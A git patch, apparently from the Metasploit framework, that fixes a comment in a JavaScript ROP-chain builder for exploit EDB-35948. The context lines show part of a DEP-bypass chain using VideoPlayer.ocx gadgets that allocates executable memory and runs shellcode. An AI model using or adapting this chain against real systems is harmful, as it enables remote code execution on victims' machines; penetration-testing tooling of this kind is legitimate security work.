From 414349972ff5fac05e4092de3694953053dff79f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Feb 2015 11:34:20 -0600 Subject: [PATCH] Fix comment --- data/exploits/edb-35948/js/rop_builder.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/data/exploits/edb-35948/js/rop_builder.js b/data/exploits/edb-35948/js/rop_builder.js index d0fba444c9..8c8f4a8d09 100644 --- a/data/exploits/edb-35948/js/rop_builder.js +++ b/data/exploits/edb-35948/js/rop_builder.js @@ -8,14 +8,14 @@ var RopBuilder = function(informer, addresses, scLength) { this.scLength = scLength; }; -// Calculate VideoPlayer.ocx base +// Build the ROP chain to bypass DEP RopBuilder.prototype.buildRop = function() { // ROP chain (rets in comments are omitted) // we perform: // (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX) // memcpy(EAX, shellcode, shellcodeLen) // (void(*)())EAX() - var offs = 0x30/4; // offset to chain after CALL [EAX+0x30] + var offs = 0x30/4; // offset to chain after CALL [EAX+0x30] this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30; this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)